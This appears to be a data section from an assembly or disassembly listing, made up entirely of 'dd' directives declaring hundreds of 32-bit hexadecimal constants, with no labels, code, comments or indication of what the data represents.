		dd 0CA22E112h, 74105340h, 82F2BE8Bh, 0B0D48FD0h, 0C5302F3Fh
		dd 5FC67CC8h, 8B11D93Fh, 0EE9C3823h, 885B863Ah,	0B36E3A84h
		dd 738FE090h, 5F2536Ch,	0B06DC996h, 0F6DC5290h,	1779BA84h
		dd 116CDDAh, 24C7260Bh,	30C5808Bh, 0C57D8F5Eh, 65BDC631h
		dd 0F730B7ABh, 0A614F56Dh, 5C213188h, 0A8C027A0h, 0C9D8172Ah
		dd 0C6E4725Fh, 2C3443A6h, 35C431Ch, 718C21F3h, 1931ADE9h
		dd 1FB05051h, 3D8E160Ch, 55E18EF1h, 364A3F19h, 884B0310h
		dd 0BC035847h, 2E43976Dh, 823A951Eh, 83DA5C06h,	28598C57h
		dd 81EF0AD4h, 976646DEh, 0CFBE77BAh, 0A09EAA54h, 0EE11F12Bh
		dd 121EADA0h, 32B616E4h, 91D71F36h, 0B9388FB6h,	0F8A44A5Dh
		dd 0BC09342h, 27A75E13h, 0E8307056h, 0B02277B2h, 4A7CBF85h
		dd 243A43D4h, 0D8F4A3DBh, 2B9B2C39h, 15B7E74Bh,	7FEF736h
		dd 19FF4689h, 81D01457h, 0D5E9D19Ch, 19D19C81h,	0E1EE3B8Ah
		dd 9645E2EFh, 63094E8Ch, 0FF68F4A1h, 4E5CE26Fh,	31C2BDE0h
		dd 76A000C4h, 9567726Dh, 36B533BDh, 73885069h, 0AAE34D42h
		dd 91C98BD8h, 0D8D18E41h, 0FC0841B2h, 14DAAE53h, 74B4066Ch
		dd 0E236EB1Bh, 44F41B83h, 0C0739C6Ah, 522B858Dh, 0C1C50EC4h
		dd 0BD3D7048h, 232A1024h, 7A34A7EDh, 0D57608C1h, 7AB74396h
		dd 0C45AA7EEh, 58739F6Dh, 23ABDAD5h, 0C79F0488h, 0F5C0BC05h
		dd 0BC6CFC4h, 5ADDEC48h, 0CE53F787h, 7FDC72A7h,	0EAE249D9h
		dd 0C3D95771h, 844AD77h, 2ED316EAh, 0EC624F98h,	38E882DEh
		dd 0ED4E573Dh, 0F77D9386h, 5FDEF639h, 7C8D2D24h, 7B8CFD24h
		dd 0ACCF62F3h, 3E2F38C6h, 3B1C5779h, 0E4F4E10Dh, 512CF54Bh
		dd 0BE041329h, 77375825h, 4E354312h, 0A3FB3179h, 0EBBF913h
		dd 4F7F2F1Bh, 215E6DAFh, 3620D0CEh, 176F367Fh, 5AE07CDFh
		dd 181A694Fh, 0EBE30D0Fh, 8917AEEh, 0C6FD666Ch,	0DBD9EF8Eh
		dd 77B0B3A6h, 4771A429h, 29B38E89h, 0E36EB227h,	0AE9A0405h
		dd 0DAC8EB8h, 8F3BE5C2h, 8F08A36Bh, 169E43Ch, 0B7652847h
		dd 28F6C3FEh, 5AD43377h, 38FBEB56h, 0FB9FB807h,	2D13211Dh
		dd 0A1CBA1C7h, 85CA39F3h, 740B9552h, 0BA9ED4A2h, 0A8A96536h
		dd 763DCAE8h, 7C1A0F3Bh, 8352719Ah, 0C8639CDAh,	0A62879C4h
		dd 847F72E1h, 3737897Bh, 8477FDB7h, 0DBE2B3h, 73CB90FDh
		dd 5BBCC597h, 0C225671Fh, 914B1D16h, 35DE2423h,	8583FDC7h
		dd 0C99CAFB6h, 8490DC16h, 0C99C914Eh, 15D1BC36h, 0A0B3F874h
		dd 0A1490388h, 0A887D921h, 0F8D337DAh, 4FA6032h, 0FA90E20Fh
		dd 0AA90B0F4h, 5FB7D69Bh, 1AAF01B7h, 1CE1BCD3h,	0AFF67A26h
		dd 426D3262h, 30676763h, 13EE1476h, 63DEFC5Bh, 2B774F98h
		dd 0DAE719F5h, 0D2AEB21Ah, 14EDA4E6h, 7B6DDD33h, 0ADB67998h
		dd 6DAD9991h, 0A67998DBh, 0F7331F6Dh, 93A6A5B4h, 76DB079h
		dd 85B4D773h, 0ADA1B332h, 6D55998Ch, 3B57D9A1h,	0E3FAA21Bh
		dd 0D82D6854h, 8E33EBF7h, 9957DB6h, 2CF9331Fh, 7DFF8F83h
		dd 3A1BE50Eh, 290BA10Bh, 284BA334h, 0AE519FEEh,	6F08D9E6h
		dd 0DD89F0A0h, 0AEDD93C3h, 0D5F44850h, 0B80EFC87h, 0FB866E7Ah
		dd 6CB5032Eh, 338691E8h, 0D2C3A094h, 0C67D4125h, 56DB6E9h
		dd 6DBDCE54h, 843660FBh, 0BBDA2186h, 1EF868DEh,	0BDB6F694h
		dd 737B405Ah, 0BB1EF158h, 0F6D91AC7h, 0D547DE6h, 93DBB04Ah
		dd 393361A0h, 6FA6F21Fh, 8DEE4338h, 184F73Eh, 0EE7D3B70h
		dd 7BB6E435h, 6A8638DDh, 0EDE4CDCBh, 1EB3272Bh,	6D9D4DC7h
		dd 0A6F26737h, 0E22F30B7h, 0FCFB6929h, 0EBD2B225h, 408F6D09h
		dd 33436AA1h, 0E96D1465h, 0EAF65D64h, 0B781BD9Fh, 65EB21EDh
		dd 0F5B6F00Ch, 0EFE021D4h, 0D3ECF586h, 0D9C92564h, 4BE622B6h
		dd 0F36DE8F7h, 0C886D61h, 98EF4647h, 2E7D5191h,	0A2CF3E79h
		dd 0A2AEC7EEh, 111FEAEDh, 0FFE14F1Eh, 5312F330h, 0DBCA8A1h
		dd 84FBE4F9h, 9D7F7BB9h, 499DAB6Bh, 8F0E762Dh, 0A5ADB41Dh
		dd 0A8A16E92h, 0F52A3CE5h, 0B14CE167h, 0E6DA4345h, 0A41F851h
		dd 0A9C3C99Fh, 0F069DC1Dh, 8B4F256Ch, 687C27B9h, 0C87841C8h
		dd 0EC8F8440h, 5C784E16h
		dd 0A58BE54Bh, 0DD4D5FF0h, 0E9B5CFC3h, 1E0AA27Fh, 0CFD60AA4h
		dd 59036B24h, 0ADE19EDFh, 0EEB31376h, 5841EB23h, 5E51B61Bh
		dd 3579637Fh, 94FEC9B8h, 99885F37h, 19B7DCD8h, 5751F489h
		dd 0A7A2A44Eh, 0BB94420Eh, 9E171479h, 0BF056A18h, 23130466h
		dd 0B5957F3Bh, 669B7E4Bh, 39AC55DFh, 96DA1EC8h,	0AE6C4876h
		dd 6037B6D0h, 0C943586Dh, 502FC513h, 6DCDB53Bh,	760299BBh
		dd 0C0B8C050h, 0F9D0B92Ah, 0F0232FB1h, 0EC0E0528h, 0DB47BEA1h
		dd 0B8455F9Ah, 35BFC29Bh, 849ED0F6h, 24FF1BD9h,	6DAC8976h
		dd 9D888BDCh, 0D97CB545h, 0AE75C848h, 7C14F52Dh, 0F3E023C2h
		dd 7BE9EE97h, 0DB685FAAh, 0BF5167ACh, 59A53906h, 0E8869015h
		dd 0C847E54Ah, 0E6C296AFh, 0B69E54F5h, 34B71C28h, 8B70A5ECh
		dd 0CE7D7BB1h, 49BC35B6h, 0FEA52FFDh, 353D39EFh, 0FF852C56h
		dd 0FE9EE86Ah, 9E035B64h, 0A7486E03h, 3D0D8FF0h, 65E12FE0h
		dd 6ED39E03h, 5E514AD8h, 10D28C08h, 0DFFA9835h,	0EEBF1BE0h
		dd 0F01089B6h, 0FE42D86Fh, 0E3F3DDF5h, 2FF9D783h, 0D8651A4Eh
		dd 0A41C371Ah, 0DE0C8BA8h, 2FFB90F1h, 0CCF277C2h, 5E9E9EE8h
		dd 4752FEA9h, 4650D5F8h, 181719E5h, 0D5FFCC45h,	8DFE785Fh
		dd 10D7D450h, 82F1043Eh, 7D53F9BCh, 0C6CD74ECh,	0D61199E9h
		dd 0F9453D06h, 0DB3CCF54h, 67C3270Ah, 0AEBCF92Eh, 86FDFAEFh
		dd 4E7FF256h, 0D1EFABEFh, 6CE9DCB6h, 0B14CE0D0h, 0A481432Dh
		dd 0CA21D7F9h, 0FC717A03h, 0A7E9B4B6h, 0E790FF53h, 0FD4F7D5Ah
		dd 89043B97h, 9E7C296Ah, 39F1C7BEh, 69116892h, 0C89B6CE2h
		dd 0A9F48DACh, 0E9A923D1h, 7EADD528h, 4FEBEAA9h, 97F5427Dh
		dd 643DBC53h, 951A617Dh, 0B0C7CB6Eh, 86DF0B3Eh,	0B92448DCh
		dd 889313A0h, 0F70B31EDh, 286B0D76h, 605D43E4h,	29E0427Bh
		dd 0AF193E60h, 509F3E2h, 4F6D09E0h, 0EE19D9C8h,	0C34862C1h
		dd 1E7CA1Eh, 7D960D1Dh,	0B95E736Dh, 324CCCCAh, 5B5C15D9h
		dd 6A0DAC2Ah, 2DB478DCh, 0FF16F1D7h, 460A9B2Ah,	0B258733Eh
		dd 8A18B696h, 0D27C9A73h, 50AF38C4h, 0A3E4CB9Ch, 0DAE73E63h
		dd 84893FA4h, 5FEDAA22h, 0FD94F987h, 36198877h,	0A2C6E214h
		dd 0AC98886Dh, 0B46447FDh, 0D1047C99h, 3B2FBEE7h, 0D0F6E43Dh
		dd 0FF30EF61h, 6E6AC787h, 0E6B1E3DBh, 6B013DB6h, 0FD4A29C3h
		dd 7D93B68Ah, 0AD25F6C1h, 0F3B9CE58h, 3B070C34h, 0AD69EC28h
		dd 0DEB0CDB7h, 0F4A5E7Bh, 0F9F91C5Fh, 0C2E1676Ah, 2802E837h
		dd 6425DA81h, 7C3111DEh, 83BCF0A9h, 5C00FC62h, 0EF047799h
		dd 54356000h, 50988A58h, 0D6FF0A55h, 0AF698856h, 9F58E581h
		dd 4E7A44AAh, 0BE8120BEh, 0CF614854h, 0E5C250D7h, 56F62C4Ah
		dd 0B3B7D651h, 9077E7A0h, 0FE6857EFh, 0D5F21AC2h, 81BA5F70h
		dd 1672DF73h, 0EF91F7BEh, 6D9B3C8Dh, 0C78EBF64h, 2118A068h
		dd 0F249E314h, 0C59E35FDh, 1FF64BD8h, 3EAFDD98h, 9A88C0FFh
		dd 2A79E477h, 942CDB45h, 950FA9BCh, 0CB0A02E5h,	0A786DFBFh
		dd 37D93A94h, 71C33EDBh, 0CA74F3D4h, 0C4EA36DBh, 95F64ED5h
		dd 0EFC9D7B6h, 0FF2DB279h, 5F61948Eh, 0F9CFFDFBh, 24151DCDh
		dd 35807DCh, 6DC0628h, 1C60330h, 620A8C46h, 88EF671h, 0BC015E12h
		dd 0B80B380Dh, 21B90800h, 50061848h, 0CC036E02h, 56021405h
		dd 3C01EE03h, 0D80BD80Ch, 0F80A380Fh, 5C06E010h, 7458405h
		dd 18805109h, 0A901680h, 40EC06C8h, 0D6606BBEh,	0D01D92h
		dd 3700538h, 23A1003Ah,	0B700E91h, 2480F40h, 0F7C18F64h
		dd 2C404601h, 4201860h,	90746170h, 55F909B0h, 73000A02h
		dd 9FE02B01h, 280B5302h, 7900BD84h, 0CD78827Eh,	7D808380h
		dd 826E3780h, 0F007B01Dh, 60136030h, 20296035h,	0B005301Bh
		dd 0B6F103h, 80F900AAh,	407200DBh, 0C22AE014h, 1B9C51CFh
		dd 10E01F91h, 5A024E0h,	47E015F0h, 5FA40840h, 310123h
		dd 0B0052035h, 0B002B010h, 0B01DB005h, 70007017h, 0E036F014h
		dd 6032E02Ch, 18EF218h,	0DC9F0128h, 0CF07FBC4h,	90E1542Eh
		dd 8F670AA2h, 0AF8DE055h, 36156F82h, 57312495h,	0DA070385h
		dd 0F85508DAh, 2E60216Eh, 5202660h, 24C0460h, 0E791BE8Ch
		dd 0E9ED1F33h, 0EC026C00h, 0FFA10400h, 374C22Fh, 28E034Eh
		dd 71E48FF6h, 1A76111Bh, 0E29670h, 22B889F6h, 0DD4111Dh
		dd 0EE135CC7h, 4293214Ch, 0A0B070F0h, 9062090Fh, 0B79AFB09h
		dd 7A0CD225h, 1266102Fh, 0A730CDCCh, 330ADCC0h,	8A13C85Bh
		dd 7B0EDF61h, 942A508Ah, 0BB058B0Bh, 1CB01330h,	0F13015AEh
		dd 0A6C22972h, 2BE815C1h, 7E594708h, 0BB7A476h,	0CEFD10Eh
		dd 328412FCh, 0F409A5FCh, 1D2144ADh, 4BD8F065h,	0FF0CBE91h
		dd 9762097h, 97E0C8D2h,	612ED2C7h, 0AD822EDFh, 293E582h
		dd 259BE53Bh, 9E0A42ACh, 634B1A77h, 0A402BC47h,	537CCC5Ah
		dd 0F2172B61h, 0E4CC9585h, 769032F1h, 14CF68B9h, 660C8412h
		dd 0B35BE326h, 0E4348750h, 9B0C5B39h, 4842C80Dh, 452EE886h
		dd 0BC808ECEh, 474FDF3Ch, 0CEE08B9Eh, 0FFC72C03h, 0E2073A54h
		dd 1887491Bh, 46CC656Ch, 3A8472F6h, 98412251h, 62957484h
		dd 0D584933Eh, 0DA265348h, 4586D0F3h, 445A9DA2h, 0EB53B5E5h
		dd 0F897FCFAh, 75CCEDD9h, 1DBED1Eh, 22477D08h, 1520355h
		dd 80650173h, 0C01A8035h, 0C01EC036h, 6098C041h, 0DC8D1F8Eh
		dd 161BC948h, 0AFB3CEFEh, 0C9BC1A9Fh, 3F4E342Ah, 0CDC979FEh
		dd 27541349h, 7835396Eh, 1FDC357Fh, 5F57AE48h, 0DB9FC9B0h
		dd 17E0E6F6h, 119E16EFh, 0C0637A5Eh, 0BA043F87h, 80A09085h
		dd 0E23FE8FCh, 4E3A5C7Eh, 1006AE90h, 0CD3B9DBEh, 69C2EDF1h
		dd 0A71D6F8Eh, 0BC85BE39h, 0F0B7C3EBh, 0B7C77B77h, 0C67B77A8h
		dd 0DDBBF537h, 0DDFD2DF1h, 8DF1B3FFh, 1EFCD3DAh, 0F7A4CF6Fh
		dd 0BFA67B78h, 0EB33DBC7h, 0CE7B5F3Dh, 0F6F7AF7Dh, 0E7AF7C2Ch
		dd 0AF79ACF6h, 7F6E7B7Bh, 0F6ECFFEFh, 8B984BBCh, 0D6138DAFh
		dd 9F1FF4C2h, 0B2CAF645h, 0FB72D2E2h, 0F3257B24h, 0AC42D58h
		dd 30B90473h, 0F3083051h, 4902F184h, 7E64AF9Fh,	8D5BF079h
		dd 0EE144D52h, 0C20886F0h, 8D1B089Dh, 7FF8F9D0h, 0D1FF21Eh
		dd 0BBF035FFh, 0CADDF995h, 0E3156EFCh, 207FC096h, 0C4281D0Bh
		dd 0E5F06109h, 0DF7E85FEh, 0B014AFA4h, 2D20A4AFh, 280FCF0Fh
		dd 0DC5BF713h, 64289943h, 0A197F311h, 0DC6F0E96h, 3716EBCh
		dd 0DB5C22F3h, 6D71C2D3h, 0B5C70B5Fh, 6B8E1686h, 5C3E2D8Dh
		dd 1DE96E6Bh, 0F4B74ED7h, 5BE76B8Ch, 0E85AE3BAh, 0E367FF07h
		dd 2257C2DAh, 7D2E342Fh, 0B781F073h, 7C5F3B40h,	95873731h
		dd 0AD3ED79Ah, 2F2F61C4h, 0C9643BB1h, 17CAEF1Ch, 57CBDA64h
		dd 1E19CBD8h, 0DCC7A614h, 67DEEBB6h, 0E768B65Bh, 76BEC359h
		dd 0F367B73Dh, 0E10D1BCAh, 0F8FE9E5Fh, 0B3F30F9Bh, 8B534CCh
		dd 61049AB7h, 0ACB95E45h, 41916652h, 17B339D1h,	66563B16h
		dd 69395DC0h, 71639E79h, 0F264EC61h, 0CDCEC4B0h, 72763F1Fh
		dd 189358D1h, 39CDC71Eh, 14E3798Ah, 0A14CA332h,	0F4C49B94h
		dd 80E2C70Eh, 0A5FB70E4h, 0CC71A166h, 4A45A4F0h, 24A4B74Ah
		dd 0FB70B3F0h, 71A163A5h, 874BF0CCh, 6014966Ch,	998F532h
		dd 5737F9F9h, 0A0166058h, 0B307445Dh, 385495A7h, 0C98B8AF2h
		dd 0C5DA5BFDh, 4A5C5E59h, 3B11E526h, 51E424D6h,	9EF9791Eh
		dd 4776A9B0h, 218BC7ACh, 0F114733Dh, 238D746Fh,	9E78B37Ah
		dd 0BBE67A72h, 5A4162ECh, 72144802h, 0C3B51F98h, 19D415CDh
		dd 0DF505737h
		dd 0C46E367Ch, 7EEF3F8Bh, 32FDF073h, 84C16AA1h,	563BF953h
		dd 0DB53D208h, 6614A904h, 969043A3h, 0A79B939h,	0F380AD0h
		dd 8726F2D8h, 0D2088F7Dh, 3E4A762Fh, 5E97EF1Ah,	5854867Dh
		dd 0C882EC09h, 98F657FFh, 947F8D20h, 51BF1DE7h,	16AD5690h
		dd 42003BA4h, 8619F235h, 9BE3077Ch, 4E5E638Fh, 896C164Ah
		dd 11FCC2C9h, 7A07A912h, 74F27B8Ah, 0F9A9DFCFh,	0DB7FC3FBh
		dd 2908C2FFh, 233F85F4h, 0DBF647A8h, 0E520B8F1h, 76104934h
		dd 70AD0CA0h, 8650BAB7h, 5AAF51FBh, 6A4116C0h, 0EA01DFBh
		dd 0B084DA65h, 87F6107h, 76187EF5h, 6C750D80h, 0B51DBA45h
		dd 29CD281Ch, 2FAD6B40h, 0DBF2154Dh, 89746801h,	0EDA930E1h
		dd 9FF0EBFDh, 36D3D2DAh, 0DAF9B7E7h, 7C1CE166h,	51F0B003h
		dd 0CA12075Eh, 3C5DA9EFh, 597486F1h, 587A48F3h,	3FBBF903h
		dd 8BF7D2EFh, 8B65F2F2h, 21C2AF3h, 0F7886BA3h, 1876CA0Ah
		dd 0D80403F9h, 0C1B4C14Fh, 407F278Ch, 8D6C015h,	70863FFh
		dd 89B04548h, 1D80550h,	3F097590h, 4DF48CDFh, 0C2900748h
		dd 2FF7272Eh, 0E1CCDB88h, 201F6014h, 0DE581245h, 536AA099h
		dd 0BE88EB41h, 5DE914CDh, 3E5BE806h, 5744B1D6h,	0F37C017h
		dd 3FABAE94h, 71B43FC3h, 0A7D6D895h, 0B7C5DE08h, 0B70AA660h
		dd 48D9D723h, 7D2929CBh, 27F21A63h, 52D874F7h, 8CA9BDF0h
		dd 25E27B26h, 0CC69FFE1h, 84BC404Ch, 0CC1B3080h, 1D334899h
		dd 6C2067FFh, 0EE49721Ah, 462CEE25h, 0D9B267BFh, 1D3FDFCCh
		dd 371113A9h, 23CA761Dh, 0C8696111h, 0BC4BB929h, 0E4F5E5AEh
		dd 1D271817h, 90B26439h, 0D33ED64Ch, 0C62597F1h, 0CCBD6449h
		dd 366C49EDh, 9F9B76E3h, 0A668967Dh, 4F09F38Bh,	3ECFCB37h
		dd 0E4F63BD3h, 564C6CADh, 0D744C0C5h, 0A4C14555h, 6614A7FDh
		dd 6141ED30h, 0F2F43ED2h, 0ED2912A7h, 0C4C1CF45h, 0F35576F5h
		dd 0EEDD3CA7h, 35BA794Fh, 0F974F29Fh, 0FA74F29Fh, 68BA794Fh
		dd 4F85DD31h, 9404BA78h, 0C3CE26D4h, 1A7C168Ch,	863BEF88h
		dd 0AF7D51FEh, 7E0D4FDh, 0CF64136Eh, 68CDED36h,	57A414EBh
		dd 44829100h, 1A403AAh,	56C035Eh, 0D2244884h, 19F30EDh
		dd 9D2005FCh, 0AC40F93Dh, 0FC1ADFDh, 0CB84160Fh, 6C0E06A3h
		dd 4A1BA4B5h, 0DE0F6FCDh, 1FF61770h, 0D3FF56ABh, 60F5F43h
		dd 71076C61h, 0E1EE445Ah, 155350C1h, 799373ECh,	43BBDC1Fh
		dd 343410A0h, 0B859FFD0h, 7F4609E9h, 20DB461Ah,	0AF079F59h
		dd 9E69A7F7h, 3FD79F8h,	161A7FD3h, 111A9EE8h, 0F60FD6E8h
		dd 910C27B9h, 243E548h,	88E0FC3h, 0DD167F74h, 40C8FD25h
		dd 0DC5D37F7h, 6E815186h, 0EE818DF5h, 0BBA05958h, 0A6EE26EEh
		dd 1EEC2E5Fh, 29B96FFh,	831C0DE3h, 57B44343h, 0A0180C44h
		dd 0B2559F61h, 6574A4ACh, 0B95ECC89h, 28E65ED8h, 5C212D2Ah
		dd 0F1D98683h, 0DBA53862h, 0FA448B74h, 68A32038h, 45697971h
		dd 96438169h, 0CCE1545Dh, 8E25962Bh, 0E99B2F1Fh, 2D14712Ch
		dd 8BD2CBB7h, 95E79516h, 596C62AFh, 0CA4BA5E5h,	0E91B96F3h
		dd 830EC25h, 349A4C06h,	71973049h, 1E49594Fh, 57F93B22h
		dd 65EB98ADh, 5059C8Bh,	295972F6h, 0CEE53E16h, 5E615912h
		dd 0DD916C85h, 0B7CB225Eh, 1D8BEC3Bh, 0CAD97CF6h, 85C5A2C2h
		dd 29717FCCh, 9F9194A2h, 132ED0A3h, 22B5BC73h, 0A42D88ACh
		dd 0D5CC2050h, 9924FB0Eh, 0C17CB2Ch, 52525BAAh,	0E45590EAh
		dd 578BD815h, 0B7140B21h, 854769C4h, 549D8BEDh,	495E5961h
		dd 0B3B96CBEh, 228611C2h, 0E432D3E1h, 4A8BCB5h,	0A4FE519h
		dd 9604A613h, 9BA853CEh, 209D6D3Ch, 0E53E40ABh,	32558E45h
		dd 0CC4528C4h, 0F0ED4F02h, 0FD856765h, 0AC2855DFh, 7EC90A97h
		dd 0FEC2857Bh, 3D64854Dh, 4F3F0855h, 5E4B7B9Fh,	0EC545790h
		dd 0D7FBB72Ch, 0B5FDFA8Eh, 37D2255Bh, 4FE1F56Eh, 0C6682C67h
		dd 87BC3F58h, 10363E5Dh, 71C7B2BFh, 9BCC3477h, 0F9FC71C7h
		dd 0E3FDCC33h, 9B8DE302h, 0E305DDC0h, 0C6E7D225h, 931178F3h
		dd 26EBD224h, 497BC605h, 13E5C3E5h, 5714A7B0h, 0EDDB94A4h
		dd 0BB4CCC02h, 0D8AF3B23h, 0FD53ECC9h, 0C5C509ECh, 0FE298BA5h
		dd 175D5A32h, 0F29394ABh, 3FCEBAF9h, 12B587DFh,	79696269h
		dd 3916572h, 5ED8BAE8h,	0F2C46D81h, 0DD87F40Ah,	0E27BA2CEh
		dd 2C0E4DCDh, 0BB9FA74Fh, 956C0D20h, 3F7CBC69h,	9004BCC1h
		dd 0B47F8109h, 0B27FE39Fh, 8A97F0DFh, 0FDDFFCC9h, 17F0F4D5h
		dd 0C4836318h, 7F5BF7F7h, 96EFE9FEh, 7E82FEF8h,	2D279FE3h
		dd 5049778Dh, 0BE9F4870h, 87FB42FDh, 381F080Dh,	783A4228h
		dd 439175C8h, 0BA8F0D87h, 0D10DC47Eh, 28DD4723h, 98F469BBh
		dd 0B96F9B98h, 0B8EC7635h, 4E2613F1h, 28572C9Ah, 568D6A55h
		dd 4D1837A7h, 2E358B66h, 624A613Eh, 0D4CA7252h,	6EDBB4D4h
		dd 3698CF4Fh, 666336DDh, 549E1666h, 0C77D9DCEh,	0E6F3B99Ch
		dd 0B798582Fh, 0BDBE7168h, 0D1614960h, 0CBC565D2h, 0EECB4A4Bh
		dd 3870AF2Ch, 5CACAC57h, 35AEFAB5h, 17ADD76Bh, 641713D2h
		dd 932465A5h, 46566D39h, 4C34CCF2h, 4C67B0C3h, 959C969Fh
		dd 0D9367330h, 0DB66B313h, 0F64F84D8h, 9E9E9E9h, 9ECCC959h
		dd 82E9E90h, 0C04D260Bh, 2ECC0099h, 32C72F8h, 0B4C0F73h
		dd 0FFE7C981h, 0DD1F2CF8h, 0D7F9BFFDh, 0FF63971Dh, 0DFBE6357h
		dd 0FE37E49Fh, 0DFBE6005h, 0FC6FD05Fh, 6BFCC7F3h, 377FF018h
		dd 0FD1FFBEDh, 0A7F54FFBh, 0F9FC48BFh, 24C3FCBBh, 6BAFD5FFh
		dd 0F2FFA0FCh, 0F5742A4Fh, 0E9FC4891h, 81B9E8E5h, 85CEE6F3h
		dd 795DEE81h, 7E496E81h, 2E9DFBA0h, 977B36EEh, 9F12FDF5h
		dd 9122515Bh, 6E7C4A6Ah, 0ABEC27h, 94D2E2E5h, 0F6B0CC2Fh
		dd 2B27EAC5h, 26667A7Dh, 90A721F7h, 0AA6D3699h,	9A48539Fh
		dd 3690919Eh, 5333E7CDh, 61A572Bh, 0AC44D86h, 9642A8ACh
		dd 5C565657h, 0AD8F38B4h, 1865C4B2h, 159D0AADh,	0D84B2545h
		dd 0B16F2E12h, 5D8568A3h, 562D586h, 9062C1C5h, 0E70B7D7Ch
		dd 3C869849h, 5B30E64Bh, 0B0F3DB1h, 21C15A44h, 0FBEF4F1Dh
		dd 15819600h, 0D2B2B2CEh, 0B1D88472h, 1D402BECh, 827D6396h
		dd 0CBAC21C5h, 0AC499C59h, 3D4654D0h, 9259D195h, 0EB18A8B7h
		dd 29C452BDh, 15E51472h, 0FAC6AD17h, 0C6579ED3h, 74F146EBh
		dd 6DCA8F14h, 2E75292Fh, 94559429h, 0B3B62DE5h,	574B8BBCh
		dd 6425F916h, 69D2FBF9h, 0E1574D7Bh, 0E937FFC8h, 8CAE9434h
		dd 8A2B9716h, 69B41DCAh, 2C967028h, 0B8B01B16h,	757E5BD8h
		dd 282FF9AFh, 9563B12Dh, 57EB1936h, 55073218h, 0C2BF9BD1h
		dd 0D2EF5810h, 0D1B42C32h, 0C5A515A0h, 515D9CB4h, 0AE2FD8B4h
		dd 0E53846D8h, 6A70EBE7h, 0A7BEFF19h, 712EBA38h, 1D8B3B96h
		dd 72C28E45h, 0B06FCE3Bh, 35D65CACh, 22EDEF7Eh,	73CFCA26h
		dd 0C0FA21E4h, 44086EB0h, 0FB72831Bh, 857B4E9Dh, 0D9E00367h
		dd 0DE22A14Bh, 750CBB35h, 3D35A22Eh, 0BB64E54Ah, 0AB7995AEh
		dd 0C4CFFD26h, 0D7A1B91Dh, 0D04BD83Ah, 0CB25A56Bh, 0C40E25EDh
		dd 5EFAB8A6h, 2F95E6E3h, 0AC45271h, 8A4ABE6Fh, 8A5C505Bh
		dd 947861CFh, 0C3576295h, 0DF27C292h, 0A1B62F9Eh, 6A64E558h
		dd 0C2C29BD6h, 588EF7FCh, 0F36B8BD4h, 0FC92A29Ch, 0E9995D2h
		dd 9FF27056h, 9F2F6155h, 0FA2968BEh, 0A357CD28h, 1D269E04h
		dd 6C096CC7h, 0CB4ADA1Ch, 8FCC659Ch, 423679BBh,	5BCC7206h
		dd 5A529F62h, 87602099h, 43BFEE56h, 7E97D0F0h, 0CD382E78h
		dd 0B112883Bh, 16D3424Dh
		dd 0EA19DA67h, 67E49426h, 24951596h, 7EF0A296h,	91C7C4EBh
		dd 7CAB4FE6h, 0D593E874h, 80E7E912h, 0F2E354D4h, 760AC6E5h
		dd 0DF8F9151h, 7E065904h, 0C2ACB232h, 98C8C84Fh, 793F9F9Ch
		dd 0E33BDF15h, 90012828h, 5F6C5F64h, 5DF88BEh, 0D3EEC34Ch
		dd 0D8BE9F63h, 4CD64A51h, 9E3DD6ECh, 4E25CE09h,	0CDBC593Ah
		dd 0B8F2CC59h, 0F6CBF80Dh, 45E565A6h, 0BC8CAD54h, 7485C5F2h
		dd 545F6368h, 0E8F714EEh, 3095E5B7h, 0F943BE2Bh, 2794BE53h
		dd 50F945E5h, 8AB7481Eh, 94F4A0F2h, 9908D296h, 79670E79h
		dd 23CB1E7Eh, 0D988BCA5h, 0E59D0AB2h, 8E5FA215h, 2EC4BF3Dh
		dd 0DC9CB23Ah, 0C25A5196h, 0A29D323Ch, 0B4A0E799h, 53E28E94h
		dd 0E1438A3Ch, 0A30E1842h, 3B396AE4h, 3BC58F65h, 3699C916h
		dd 7A9A2641h, 0B5B59C8Dh, 9251A942h, 0A5C78039h, 0A21166Bh
		dd 0A6D25271h, 0ECD15209h, 0C79C371Ah, 50C2FB65h, 0D813338Ah
		dd 0E35D9A22h, 5B8F046h, 1970BF64h, 2E999078h, 0AECD139Ch
		dd 0B8B24771h, 70B7760Ah, 0B3327116h, 64338593h, 8B7724E6h
		dd 55C5913Bh, 11A7B8B2h, 8CD67927h, 8616EB5Eh, 9EB96903h
		dd 8A49C3B7h, 1C21999Bh, 9C919985h, 3C6EBDDBh, 0A6DD5FAEh
		dd 77110708h, 0F2F7724Ah, 904883F6h, 475CB17Ch,	9388FDF6h
		dd 0EC209C94h, 2B309985h, 0FEDC5BABh, 0EC81AE3Ch, 0D30CA9BBh
		dd 2C6D8412h, 0F2F7666Eh, 0BCACB8F2h, 0D3BCAC55h, 385BAD7Ah
		dd 0DE57EB8Fh, 6912A144h, 0F7BA1312h, 9346185Bh, 0EDFEE42h
		dd 98628553h, 0BA32B353h, 0FAE3CBE7h, 2C299BE5h, 0BB537CA4h
		dd 0F41845F7h, 0FED42842h, 590A26F9h, 5A667714h, 5C797CF7h
		dd 85D37CBFh, 9F4DC454h, 0E82FBDD5h, 40452141h,	0F10825BFh
		dd 0D43D6D30h, 43DE3FADh, 6FB40453h, 798720A6h,	0A08A4247h
		dd 0F302E956h, 0F2FD71E5h, 0A9A2124Dh, 6F77A6FFh, 4F103087h
		dd 659B4065h, 0D998520Bh, 2FB43DC9h, 3293E34h, 10BA61DAh
		dd 0BD30ED42h, 0E184EE3Bh, 40656961h, 1D0A66DDh, 0E4B75097h
		dd 4EE3DD99h, 0F280DC40h, 11E70A66h, 0D4E66137h, 54E171EEh
		dd 5379405h, 4CC235AFh,	0AE3DD59Ch, 0CA03711Ah,	5EB42E9Bh
		dd 0A1EE3EA2h, 0DC47ABCh, 0A16CEF28h, 0E1677105h, 5C5BA01Ch
		dd 2A94C30h, 70877BCAh,	43D6EA92h, 795E5B5Ch, 0A72712DEh
		dd 9DCAB377h, 58589ACCh, 37444C54h, 2F33B179h, 485CB4BFh
		dd 0A7625F28h, 0D0CA3983h, 0B2772F66h, 0E2D29F7Bh, 8A8BE5D2h
		dd 0EDB237D8h, 4ED5F625h, 9239317Bh, 63D5314Ah,	0CD91297Ah
		dd 173997B4h, 8D071261h, 0A3A752Ch, 0E5050965h,	0C4DFE7F0h
		dd 0E96C29C1h, 0FD904ACEh, 12F96752h, 83C70FCAh, 462C99B2h
		dd 0C722CAE6h, 31797B6Ah, 0A984FECEh, 961BAC4Eh, 13BCB1E7h
		dd 0C29F2E91h, 8A4AF2CBh, 13650A2Ah, 0F9A51965h, 65931738h
		dd 0E6C07162h, 39470A8Eh, 9B8A38E6h, 18A4B25Ch,	7C1FB871h
		dd 20D62A6h, 0B14C2F92h, 72292F17h, 59BCC72Eh, 0D4B8B459h
